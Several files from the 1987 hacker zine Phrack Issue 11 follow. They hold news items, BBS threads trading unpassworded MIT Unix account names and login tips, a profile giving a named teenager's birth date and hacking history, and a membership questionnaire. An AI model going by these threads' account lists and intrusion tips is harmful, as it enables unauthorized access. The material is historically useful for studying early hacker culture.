+ company credit card.
324
+
325
+ "When it happens the boy is caught and taken to jail, you usually see that the
326
+ parents are disgruntled at the authorities -- they still think that Johnny was
327
+ just playing in his bedroom. Until, of course, they see the cost of Johnny's
328
+ play time, which can run $50,000 to $100,000. But outside the cost, I have
329
+ never yet seen a parent who was really concerned that somebody's privacy has
330
+ been invaded -- they just think Johnny's really smart," Tener says.
331
+
332
+ TRW will usually move against hackers when they see a TRW file or access
333
+ information on a bulletin board. Tener says they usually demand payment for
334
+ their investigation costs, which average about $15,000.
335
+
336
+ Tales of the damage hackers have caused often get exaggerated. Tener tells of
337
+ highly publicized cases of hackers who, when caught, bragged about breaking
338
+ into TRW, when no break-ins had occurred. But Maxfield tells of two 14-year
339
+ old hackers who were both breaking into and using the same corporate system.
340
+ They had an argument and set out to erase each other's files, and in the
341
+ process erased other files that cost about a million dollars to replace.
342
+ Being juveniles, they got off free.
343
+
344
+ After being caught, Tener says most hackers find some other hobby. Some,
345
+ after turning 18, are hired by the firms they previously raided. Tener says
346
+ it rare to see repeat offenders, but Maxfield tells of one 14-year-old repeat
347
+ offender who was first caught at age 13.
348
+
349
+ Maxfield and Tener both make efforts to follow the bulletin boards, and
350
+ Maxfield even has a network of double agents and spies within the hacker
351
+ community. Tener uses artificial intelligence software to examine the day's
352
+ traffic to look for suspicious patterns. TRW gets about 40,000 inquiries an
353
+ hour and has about 25,000 subscribers. But that does not address the
354
+ underlying problem.
355
+
356
+ "The real problem is that these systems are not well protected, and some can't
357
+ be protected at all," Maxfield says.
358
+
359
+ Cheshire agrees. "A lot of companies have no idea what these kids can do to
360
+ them," he says. "If they would make access even a little difficult the kids
361
+ will go on to some other system." As for what else can be done, he notes that
362
+ at MIT the first thing computer students are taught is how to crash the
363
+ system. Consequently, nobody bothers to do it.
364
+
365
+ But the thing that annoys old-timer Cheshire (and Maxfield as well) is that
366
+ the whole hacker-intruder-vandal-thief phenomenon goes against the ideology of
367
+ the original hackers, who wanted to explore systems, not vandalize them.
368
+ Cheshire defines the original "hacker ethic" as the belief that information is
369
+ a value-free resource that should be shared. In practice, it means users
370
+ should add items to files, not destroy them, or add features to programs,
371
+ rather than pirate them.
372
+
373
+ "These kids want to make a name for themselves, and they think that they need
374
+ to do something dirty to do that. But they do it just as well by doing
375
+ something clever, such as leaving a software bug report on a system," he
376
+ notes.
377
+
378
+ Meanwhile, Maxfield says we are probably stuck with the problem at least until
379
+ the phone systems converts to digital technology, which should strip hackers
380
+ of anonymity by making their calls easy to trace.
381
+
382
+ Until someone figures out how to hack digital phone networks, of course. -TCM
383
+
384
+ Typed for PWN by Druidic Death
385
+ ______________________________________________________________________________
phrack/issue11/12.txt ADDED
@@ -0,0 +1,463 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #12 of 12
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN *>=-{ Phrack World News }-=<* PWN
8
+ PWN PWN
9
+ PWN Issue XI PWN
10
+ PWN PWN
11
+ PWN Written, Compiled, and Edited PWN
12
+ PWN by Knight Lightning PWN
13
+ PWN PWN
14
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
15
+
16
+ Computer Bulletin Boards January 8, 1986
17
+ ------------------------
18
+ By The KTVI Channel 2 News Staff in St. Louis
19
+
20
+ Please keep in mind that Karen and Russ are anchor persons at KTVI.
21
+ All comments in []s are by me.-KL
22
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
23
+ Karen: If Santa Claus brought you a computer for Christmas, beware of seeing
24
+ a few things you may not have bargained for. Computer bulletin boards
25
+ have spread by the thousands over the past few years and now some
26
+ people are concerned that the electronic messages may have gotten a
27
+ bit out of hand.
28
+
29
+ Russ: In its simplest definition, a computer bulletin board is a program or
30
+ message that can be accessed by other computers via telephone lines.
31
+ Anyone who has a home computer and a modem can receive and transmit to
32
+ computer bulletin boards. There are thousands of them nationwide, but
33
+ some are causing quite a stink [What a profound statement Russ].
34
+
35
+ [Flash to a picture of a geeky looking teenager]
36
+
37
+ Meet Jason Rebbe, he is a 16 year old computer whiz who a few months
38
+ ago accidentally tapped into a bulletin board called Dr. Doom's Castle.
39
+ [Sorry to break in here Russ, but why is this guy a computer whiz?
40
+ Just because he has a computer? Hey Russ, look a little closer, isn't
41
+ Jason sitting in front of a Commodore-64? I thought so. Oh yeah one
42
+ other thing, this BBS Dr. Doom's Castle has no known relation to Dr.
43
+ Doom (512) or Danger Zone Private.] Dr. Doom gives instructions on how
44
+ to build bombs and guns [Lions and Tigers and Bears, oh my!]. Jason
45
+ found the recipe for smoke bombs and tried to make one in his kitchen,
46
+ it didn't work. [Ba ha ha].
47
+
48
+ Jason: I heard an explosion in the basement first and that's when I knew
49
+ something was wrong. I thought it would be really neat to just set it
50
+ off someday when there was a lot of people around, just as a joke or a
51
+ prank. [Yeah, that would be K-Rad d00d!]. I didn't expect it to blow
52
+ up my house.
53
+
54
+ Russ: Jason wasn't hurt, but it cost about 2 grand [that's $2,000 to you and
55
+ me] to repair the kitchen. Jason's dad didn't take it well.
56
+
57
+ Bob Holloway: Mad wasn't the word for it. I, I was, I was past mad.
58
+
59
+ Russ: Mr. Holloway called Southwestern Bell and AT&T to see what could be
60
+ done about bulletin boards like Dr. Doom's Castle. The answer was
61
+ nothing. The Bureau of Alcohol, Tobacco, and Firearms said the same
62
+ thing.
63
+
64
+ Daniel Hoggart (Bureau of Alcohol, Tobacco, and Firearms): There is no
65
+ violation in publishing the information. The violation only
66
+ occurs when someone actually follows through on the
67
+ instructions and actually constructs a bomb.
68
+
69
+ Russ: Another bulletin board that is becoming more and more prevalent these
70
+ days is the Aryian Nation. This one [bulletin board] in Chicago says,
71
+ "If you are an anti-Communist you have made the right connection...on
72
+ the other hand, if you are consumed with such myths as
73
+ Judeo-Christianity, you most definitely dialed the wrong number."
74
+
75
+ Stan Anderman (Anti-Defamation League): Some of this really extreme hatred
76
+ is an attempt to create an environment where violence becomes
77
+ acceptable.
78
+
79
+ Russ: Like most computer bulletin boards the Aryian Nation message is legal
80
+ and falls under free speech laws. However, a bill is scheduled to go
81
+ to congress this session outlawing the kinds of bulletin boards we saw
82
+ here tonight.
83
+
84
+ But, for the moment, hackers should not be too surprised if something
85
+ unusual pops up on their computer terminal. [Ahem, Russ, you did it
86
+ again. All computer users are *NOT* hackers.]
87
+
88
+ Typed For PWN's Usage by Knight Lightning
89
+ ______________________________________________________________________________
90
+
91
+ MIT Unix: Victim or Aggressor? January 23 - February 2, 1987
92
+ -------------------------------
93
+ Is the MIT system an innocent victim of hacker oppression or simply another
94
+ trap to capture unsuspecting hackers in the act?
95
+
96
+ It all started like this...
97
+
98
+ [Some posts have been slightly edited to be relevant to the topic]
99
+
100
+ ------------------------------------------------------------------------------
101
+ MIT
102
+ Name: Druidic Death
103
+ Date: 12:49 am Mon Jan 20, 1986
104
+
105
+ Lately I've been messing around on MIT's VAX in there Physics Department.
106
+
107
+ Recently some one else got on there and did some damage to files. However MIT
108
+ told me that they'll still trust us to call them. The number is:
109
+
110
+ 617-253-XXXX
111
+
112
+ We have to agree to the following or we will be kicked off, they will create a
113
+ "hacker" account for us.
114
+
115
+ <1> Use only GUEST, RODNEY, and GAMES. No other accounts until the
116
+ hacker one is made. There are no passwords on these accounts.
117
+
118
+ <2> Make sure we log off properly. Control-D. This is a UNIX system.
119
+
120
+ <3> Not to call between 9 AM and 5 PM Eastern Standard Time. This
121
+ is to avoid tying up the system.
122
+
123
+ <4> Leave mail to GEORGE only with UNIX questions (or C). And leave our
124
+ handles so he'll know who we are.
125
+
126
+ ------------------------------------------------------------------------------
127
+ Unix
128
+ Name: Celtic Phrost
129
+ Date: 4:16 pm Mon Jan 20, 1986
130
+
131
+ Thanks Death for the MIT computer, I've been working on getting into them for
132
+ weeks. Here's another you can play around with:
133
+
134
+ 617/258-XXXX
135
+ login:GUEST
136
+
137
+ Or use a WHO command at the logon to see other accounts, it has been a long
138
+ time since I played with that system, so I am unsure if the GUEST account
139
+ still works, but if you use the WHO command you should see the GUEST account
140
+ needed for applying for your own account.
141
+
142
+ -Phrost
143
+ ------------------------------------------------------------------------------
144
+ Unix
145
+ Name: Celtic Phrost
146
+ Date: 5:35 pm Mon Jan 20, 1986
147
+
148
+ Ok, sorry, but I just remembered the application account, its: OPEN
149
+ Gawd, I am glad I got that off my chest!
150
+
151
+ -(A relieved)Celtic Phrost.
152
+
153
+ Also on that MIT computer Death listed, some other default accounts are:
154
+
155
+ LONG MIKE GREG NEIL DAN
156
+
157
+ Get the rest yourself, and please people, LEAVE THEM UNPASSWORDED!
158
+
159
+ ------------------------------------------------------------------------------
160
+ MIT
161
+ Name: Druidic Death #12
162
+ Date: 1:16 am Fri Jan 23, 1987
163
+
164
+ MIT is pretty cool. If you haven't called yet, try it out. Just PLEASE make
165
+ sure you follow the little rules they asked us about! If someone doesn't do
166
+ something right the sysop leaves the gripe mail to me. Check out my directory
167
+ under the guest account just type "cd Dru". Read the first file.
168
+
169
+ ------------------------------------------------------------------------------
170
+ MIT
171
+ Name: Ctrl C
172
+ Date: 12:56 pm Sat Jan 24, 1987
173
+
174
+ MIT Un-Passworded Unix Accounts: 617-253-XXXX
175
+
176
+ ALEX BILL GAMES DAVE GUEST DAN GREG MIKE LONG NEIL TOM TED
177
+ BRIAN RODNEY VRET GENTILE ROCKY SPIKE KEVIN KRIS TIM
178
+
179
+ And PLEASE don't change the Passwords....
180
+
181
+ -=>Ctrl C<=-
182
+ ------------------------------------------------------------------------------
183
+ MIT Again
184
+ Name: Druidic Death
185
+ Date: 1:00 pm Wed Jan 28, 1987
186
+
187
+ Ok people, MIT is pissed, someone hasn't been keeping the bargain and they
188
+ aren't too thrilled about it. There were only three things they asked us to
189
+ do, and they were reasonable too. All they wanted was for us to not
190
+ compromise the security much more than we had already, logoff properly, not
191
+ leave any processes going, and call only during non-business hours, and we
192
+ would be able to use the GUEST accounts as much as we like.
193
+
194
+ Someone got real nice and added themselves to the "daemon" group which is
195
+ superusers only, the name was "celtic". Gee, I wonder who that could have
196
+ been? I'm not pissed at anyone, but I'd like to keep on using MIT's
197
+ computers, and they'd love for us to be on, but they're getting paranoid.
198
+ Whoever is calling besides me, be cool ok? They even gave me a voice phone to
199
+ chat with their sysops with. How often do you see this happen?
200
+
201
+ a little perturbed but not pissed...
202
+
203
+ DRU'
204
+ ------------------------------------------------------------------------------
205
+ Tsk, Celtic.
206
+ Name: Evil Jay
207
+ Date: 9:39 am Thu Jan 29, 1987
208
+
209
+ Well, personally I don't know why anyone would want to be a superuser on the
210
+ system in question. Once you've been on once, there is really nothing that
211
+ interesting to look at...but anyway.
212
+
213
+ -EJ
214
+ ------------------------------------------------------------------------------
215
+ In trouble again...
216
+ Name: Celtic Phrost
217
+ Date: 2:35 pm Fri Jan 30, 1987
218
+
219
+ ...I was framed!! I did not add myself to any "daemon" group on any MIT UNIX.
220
+ I did call once, and I must admit I did hang up without logging off, but this
221
+ was due to a faulty program that would NOT allow me to break out of it, no
222
+ matter what I tried. I am sure that I didn't cause any damage by that.
223
+
224
+ -Phrost
225
+ ------------------------------------------------------------------------------
226
+ Major Problems
227
+ Name: Druidic Death
228
+ Date: 12:20 pm Sat Jan 31, 1987
229
+
230
+ OK, major stuff going down. Some unidentified individual logged into the
231
+ Physics Dept's PDP11/34 at 617-253-XXXX and was drastically violating the
232
+ "agreement" we had reached. I was the one that made the "deal" with them.
233
+ And they even gave me a voice line to talk to them with.
234
+
235
+ Well, one day I called the other Physics computer, the office AT and
236
+ discovered that someone created an account in the superuser DAEMON group
237
+ called "celtic". Well, I was contacted by Brian through a chat and he told me
238
+ to call him. Then he proceeded to nicely inform me that "due to unauthorized
239
+ abuse of the system, the deal is off".
240
+
241
+ He was cool about it and said he wished he didn't have to do that. Then I
242
+ called George, the guy that made the deal and he said that someone who said he
243
+ was "Celtic Phrost" went on to the system and deleted nearly a year's worth of
244
+ artificial intelligence data from the nuclear fission research base.
245
+
246
+ Needless to say I was shocked. I said that he can't believe that it was one
247
+ of us, that as far as I knew everyone was keeping the deal. Then he (quite
248
+ pissed off) said that he wanted all of our names so he can report us to the
249
+ FBI. He called us fags, and all sorts of stuff, he was VERY!! [underline
250
+ twice] PISSED! I don't blame him. Actually I'm not blaming Celtic Phrost, it
251
+ very easily could have been a frame up.
252
+
253
+ But another thing is George thinks that Celtic Phrost and Druidic Death are
254
+ one and the same, in other words, he thinks that *I* stabbed him in the back.
255
+ Basically he just doesn't understand the way the hacker community operates.
256
+
257
+ Well, the deal is off, they plan to prosecute whoever they can catch. Since
258
+ George is my best friend's brother I have not only lost a friend, but I'm
259
+ likely to see some legal problems soon. Also, I can forget about doing my
260
+ graduate work at MIT. Whoever did this damage to them, I hope you're happy.
261
+ You really messed things up real nice for a lot of people.
262
+
263
+ Celtic, I don't have any reason to believe you messed with them. I also have
264
+ no reason to think you didn't. I'm not making an accusation against you, but
265
+ WHOEVER did this, deserves to be shot as far as I'm concerned. Until this
266
+ data was lost, they were on the verge of harnessing a laser-lithium produced
267
+ form of nuclear fission that would have been more efficient than using the
268
+ standard hydrogen. Well, back to the drawing board now.
269
+
270
+ I realize that it's hard to believe that they would have data like this on
271
+ this system. But they were quite stupid in many other areas too. Leaving the
272
+ superuser account with no password?? Think about it.
273
+
274
+ It's also possible that they were exaggerating. But regardless, damage seems
275
+ to have been done.
276
+
277
+ ------------------------------------------------------------------------------
278
+ MIT
279
+ Name: Phreakenstein
280
+ Date: 1:31 am Sun Feb 01, 1987
281
+
282
+ Heck! I dunno, but whoever it was, I think, should let himself (the s00per
283
+ K-rad elyte d00d he is) be known.
284
+
285
+ I wasn't on MIT, but it was pretty dumb of MIT to even let Hackers on. I
286
+ wouldn't really worry though, they did let you on, and all you have to prove
287
+ is that you had no reason to do it.
288
+
289
+ ----Phreak
290
+ ------------------------------------------------------------------------------
291
+ I wonder...
292
+ Name: Ax Murderer #15
293
+ Date: 6:43 pm Sun Feb 01, 1987
294
+
295
+ I highly doubt that is was someone on this system. Since this is an elite
296
+ board, I think all the users are pretty decent and know right and wrong things
297
+ to do. Could be that one of the users on this system called another system
298
+ and gave it out!?? Nahh...shooting the asshole is not enough, let's think of
299
+ something better.
300
+
301
+ Ax Murderer
302
+ ------------------------------------------------------------------------------
303
+ It was stupid
304
+ Name: Druidic Death #12
305
+ Date: 9:21 pm Sun Feb 01, 1987
306
+
307
+ It seems to me, or, what I gathered, they felt that there were going to be
308
+ hackers on the system to begin with and that this way they could keep
309
+ themselves basically safe.
310
+
311
+ I doubt that it was Celtic Phrost, I don't think he'd be an asshole like that.
312
+ But I can't say. When I posted, I was pretty pissed about the whole deal.
313
+ I've calmed down now. Psychic Warlord said something to me voice the other
314
+ day that made me stop and think. What if this was a set up right from the
315
+ start? I mean, MIT won't give me specifics on just what supposedly happened,
316
+ Celtic Phrost denies everything, and the biggest part of it is what George
317
+ said to me.
318
+
319
+ "We can forgive you for what you did to us if you'll promise to go straight
320
+ and never do this again and just tell us who all of your friends are that are
321
+ on the system".
322
+
323
+ I didn't pay much attention to that remark at first, now I'm beginning to
324
+ wonder...
325
+
326
+ I, of course, didn't narc on anyone. (Who do I know??? hehe)
327
+
328
+ DRU'
329
+ ------------------------------------------------------------------------------
330
+ Well
331
+ Name: Solid State
332
+ Date: 11:40 pm Sun Feb 01, 1987
333
+
334
+ Well if they were serious about the FBI, I wouldn't take this too lightly.
335
+ Lately at Stanford there has been a lot of investigators that I've pinpointed
336
+ running around. This is mainly due to the number of break-ins this summer.
337
+
338
+ Anyways, if a large college like MIT says they may call in the FBI, be wary,
339
+ but don't over-react.
340
+
341
+ SOLID STATE
342
+ ------------------------------------------------------------------------------
343
+ Comments...
344
+ Name: Delta-Master
345
+ Date: 7:15 am Mon Feb 02, 1987
346
+
347
+ It wouldn't surprise me if it was some kind of setup, it's been done before.
348
+
349
+ Delta-Master
350
+ ------------------------------------------------------------------------------
351
+ Oh well...
352
+ Name: Evil Jay
353
+ Date: 8:56 am Mon Feb 02, 1987
354
+
355
+ I think your all wrong. The MIT lines have been around for a long time and
356
+ are widely known among the rodents. Anyone with a g-file could hack out a
357
+ password on the system so it looks to me like someone just messed around and
358
+ just happened to use Phrost as a flunkie. Oh well...
359
+
360
+ -EJ
361
+ ------------------------------------------------------------------------------
362
+ All posts taken from:
363
+ ___
364
+ / )
365
+ \___ | | __
366
+ \ |_ _ _| _ (_ _ _ _
367
+ (___/ | ) ( \ ( | (_) \/\/ __) | ) ( \ \/\/ | )
368
+ |
369
+ \_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_/
370
+
371
+ "We're not ELITE... we're just cool as hell."
372
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
373
+ Information Provided indirectly/directly by
374
+
375
+ Ax Murderer/Celtic Phrost/Ctrl C/Delta-Master/Druidic Death
376
+ Evil Jay/Phreakenstein/Solid State
377
+ ______________________________________________________________________________
378
+
379
+ Phortune 500: Phreakdom's Newest Organization February 16, 1987
380
+ ----------------------------------------------
381
+ For those of you who are in the least bit interested, Phortune 500 is a group
382
+ of telecommunication hobbyists who's goal is to spread information as well as
383
+ further their own knowledge in the world of telecommunications. This new
384
+ group was formed by:
385
+
386
+ Brew Associates/Handsomest One/Lord Lawless/The Renegade Chemist
387
+ Quinton J. Miranda/Striker/The Mad Hacker/The Spiker
388
+
389
+ These eight members are also known as Board Of Directors (BOD). They don't
390
+ claim to be *Elite* in the sense that they are they world's greatest hackers,
391
+ but they ARE somewhat picky about their members. They prefer someone who
392
+ knows a bit about everything and has talents exclusive to him/herself.
393
+
394
+ One of the projects that Phortune 500 has completed is an individual password
395
+ AE type system. It's called TransPhor. It was written and created by Brew
396
+ Associates. It has been Beta tested on The Undergraduate Lounge (Sysoped by
397
+ Quinton J. Miranda). It is due to be released to the public throughout the
398
+ next few months.
399
+
400
+ Phortune 500 has been in operation for about 4 months, and has released two
401
+ newsletters of their own. The Phortune 500 Newsletter is quite like the
402
+ "People" of contemporary magazines. While some magazines cover the deep
403
+ technical aspects of the world in which we communicate, their newsletter tries
404
+ to cover the lighter side while throwing in information that they feel is "of
405
+ technical nature." The third issue is due to be released by the end of this
406
+ month.
407
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
408
+ *>=-> The Phortune 500 Membership Questionnaire <-=<*
409
+
410
+ Note: The following information is of a totally confidential nature. The
411
+ reason you may find this so lengthy and in depth is for our knowledge
412
+ of you. We, with Phortune 500, feel as though we should know
413
+ prospective members well before we allow them into our organization.
414
+ Pending the answers you supply us, you will be admitted to Phortune 500
415
+ as a charter member. Please answer the following completely...
416
+ ..............................................................................
417
+
418
+ Handle :
419
+ First Name :
420
+ Voice Phone Number :
421
+ Data Phone Number :
422
+ City & State :
423
+ Age :
424
+ Occupation (If Applicable) :
425
+ Place of Employment (Optional) :
426
+ Work Phone Number (Optional) :
427
+ Computer Type :
428
+ Modem Type :
429
+ Interests :
430
+ Areas Of Expertise :
431
+ References (No More Than Three) :
432
+ Major Accomplishments (If Any) :
433
+ ..............................................................................
434
+ Answer In 50 Words Or Less;
435
+
436
+ ^*^ What Is Phortune 500 in Your Opinion?
437
+
438
+ ^*^ Why Do You Want To Be Involved With Phortune 500?
439
+
440
+ ^*^ How Can You Contribute to Phortune 500?
441
+ ..............................................................................
442
+
443
+ Please answer each question to the best of your ability and then return to any
444
+ Phortune 500 Board of Directors Member Or a Phortune 500 BBS:
445
+
446
+ The Private Connection (Limited Membership) 219-322-7266
447
+ The Undergraduate AE (Private Files Only) 602-990-1573
448
+
449
+ Information provided by
450
+
451
+ Quinton J. Miranda & Phortune 500 Board Of Directors
452
+ ______________________________________________________________________________
453
+
454
+ PWN Quicknote
455
+ -------------
456
+ At the University of Rhode Island there is supposed to be some undercover
457
+ agent for Bay Bell. Supposedly he hangs out at the library and watches for
458
+ people checking out the Bell Technical Journals. Then he asks questions like,
459
+ 'What do you want those for?' 'Do you know what 2600Hz is?' and other similar
460
+ questions. He isn't registered at the school and of course has no classes.
461
+ [Sounds bogus to me...oh well-KL]. Information by Asmodeus Rex (1/21/87)
462
+ ______________________________________________________________________________
463
+
phrack/issue11/2.txt ADDED
@@ -0,0 +1,135 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #2 of 12
4
+
5
+ ==Phrack Pro-Phile VIII==
6
+
7
+ Written and Created by Taran King
8
+
9
+ 2/17/87
10
+
11
+ Welcome to Phrack Pro-Phile VIII. Phrack Pro-Phile is created to
12
+ bring info to you, the users, about old or highly important/controversial
13
+ people. This month, I bring to you one of the older and high profile phreaks
14
+ of the past...
15
+
16
+ Wizard of Arpanet
17
+ ~~~~~~~~~~~~~~~~~
18
+
19
+ Wizard of Arpanet is one of the older of the phreak/hack generation.
20
+ His main accomplishments include running Inner Circle and Secret Service BBS.
21
+
22
+ Handle: Wizard of Arpanet
23
+ Call him: Eric
24
+ Past handles: The Hacker and The Priest
25
+ Handle Origin: A real programmer on Arpanet was called The
26
+ Wizard and Eric took his handle from him.
27
+ Date of Birth: 02/26/69
28
+ Age in 9 days of this writing: 18 years old
29
+ Height: 6'1"
30
+ Weight: 150 lbs
31
+ Eye color: Blue
32
+ Hair color: Dishwaterish blond
33
+ Computers: Atari 400, Commodore 64
34
+ Sysop/Co-sysop of: Secret Service
35
+
36
+ ------------------------------------------------------------------------------
37
+ Wizard of Arpanet started as your average BBS caller. He eventually
38
+ called Central Processing Unit (a local board to him), and there were these
39
+ funny numbers on the board. He called and tried to connect with his modem,
40
+ but they turned out to be Sprint dial-ups. The CPU Sysop informed him of what
41
+ to do and he started calling national BBSs. Boards that helped him to advance
42
+ include the Twilight Zone (the sysop was the guy that wrote T-Net), OSUNY,
43
+ Dragon's Lair, and Delta BBS. Wizard organized various groups which included
44
+ (from earliest to most recent): PHA (Phreakers and Hackers of America) -
45
+ (included Deep Throat, Phreak King, and Psycho Killer), The Inner Circle (1st
46
+ one) (included Shockwave Rider, and Satan Knight aka Redrum), and The 2nd
47
+ Inner Circle (included The Cracker, Mr. America, Napoleon Bonapart, Stainless
48
+ Steal Rat, Big Brother, Mr. Xerox, Bootleg, Maxwell Wilke, Mandrake The
49
+ Magician, and Zaphod Beeblebrox).
50
+
51
+ Eric got the number to Arpanet from Dark Dante, and got on the MIT
52
+ Research System from looking through TAC News. One night he got like 50-60
53
+ accounts on the Unix and changed all of the passwords to WIZARD.
54
+
55
+ Stainless Steal Rat, the Sysop of Delta BBS, and The Myth were all up
56
+ from NJ one weekend, and they were staying the weekend at John Maxfield's
57
+ house. They went to John's office. Wizard asked Maxfield if he could use his
58
+ computer to print out some things he had with him and he printed out some
59
+ stuff from the Stanford Artificial Intelligence address list for Arpanet.
60
+ John was amazed. "Wow," he said, "I have prime evidence on you." (TK: This
61
+ may not for sure be an exact quote). He then proceeded to bust our friend,
62
+ Eric, the next week. He also had a lot of stuff from AUTOVON from some fellow
63
+ in Washington and started playing with the FTS lines (Federal Telephone
64
+ System) which he found from, none other than, John Maxfield. They had found
65
+ the default passwords for TeleMail too, and got the administrator accounts and
66
+ set up their own BBS on Nassau and Coca-Cola systems plus anywhere else
67
+ possible. And all of a sudden, it all came down when Mandrake decided to
68
+ crash parts of TeleMail. Enter, Federal Bureau of Investigations. They had
69
+ been monitoring Eric for 6 months looking for some evidence to get him on.
70
+ And thus, they got it. Nothing really happened, but he had to get a lawyer
71
+ and he got some publicity in the paper. After 90 days, everything they had
72
+ taken, with the exception of a few documents, was sent back. During those 90
73
+ days, Eric worked as a computer security consultant at a bank making $200 an
74
+ hour (2 hours...).
75
+
76
+ The only "phreaks" he's met are Stainless Steal Rat and Cable Pair.
77
+
78
+ Eric has been mentioned on local TV/News, in newspapers, USA Today,
79
+ NY Times, Washington Post, Books, and Britannica Encyclopedia (look under
80
+ Hacker).
81
+
82
+ ------------------------------------------------------------------------------
83
+
84
+ Interests: Music (preferably jazz, reggae, new wave), Eastern
85
+ philosophy (Zen Buddhism), reading Jack Kerouac books (a
86
+ great beatnik writer), driving aimlessly, slowly becoming
87
+ a social recluse, physics, and Greek mathematicians.
88
+
89
+ Eric's Favorite Things
90
+ ----------------------
91
+
92
+ Women: The pursuit thereof (Karen Wilder).
93
+ Foods: Chinese.
94
+ Cars: BMW 320-I.
95
+ Artist: Salvador Dali.
96
+ Plans for next few months: Next year and a half - travelling to Montreal in
97
+ April for a week of leisure, then jetting back to
98
+ beautiful Detroit and continuing his studies at
99
+ Eisenhower High School.
100
+
101
+ Most Memorable Experiences
102
+ --------------------------
103
+
104
+ Realizing all at once that everything you did 3 years ago was stupid.
105
+ Growing into a new person.
106
+ Gaining morals and new ideas and a new outlook.
107
+
108
+ Some People to Mention
109
+ ----------------------
110
+
111
+ Tuc (For telling him about boxing).
112
+ Tom Tone (For calling him on his first conference).
113
+ Magnetic Surfer (Talking to him for the first time after Sherwood Forest went
114
+ down voice).
115
+ John Maxfield (Meeting him).
116
+ Stainless Steal Rat (Meeting him...with John Maxfield).
117
+ Dark Dante (One of the legends phreakdom).
118
+
119
+ ------------------------------------------------------------------------------
120
+
121
+ Always follow your instinct and not your desire for you will be
122
+ sorry because you will be lying to yourself.
123
+
124
+ ------------------------------------------------------------------------------
125
+
126
+ I hope you enjoyed this file. Look forward to more Phrack Pro-Philes coming
127
+ in the near future. ...And now for the regularly taken poll from all
128
+ interviewees.
129
+
130
+ Of the general population of phreaks you have met, would you consider most
131
+ phreaks, if any, to be computer geeks? No, says Eric, he considers them a new
132
+ breed of intellect. Thanks for your time, Eric.
133
+
134
+ Taran King
135
+ Sysop of Metal Shop Private
phrack/issue11/3.txt ADDED
@@ -0,0 +1,158 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #3 of 12
4
+
5
+ .___. .___.
6
+ |___| |___|
7
+ | |
8
+ /^\ /^\
9
+ [+]PLP[+]------------------------------------------[+]PLP[+]
10
+ \^/ ^ ^ \^/
11
+ |S| P ^[+]The Executioner[+]^ P |S|
12
+ |e| PLP ^[+]PhoneLine Phantoms![+]^ PLP |e|
13
+ |x| P _____[+]The Network Technicians[+]______ P |x|
14
+ |y| ^ ------------------------ ^ |y|
15
+ |-| [+] PACT: Prefix Access Code Translator [+] |-|
16
+ |T| ^ ==================================== ^ |T|
17
+ |N| [+]Written for PHRACK Inc. Issue Eleven.[+] |N|
18
+ |T| |T|
19
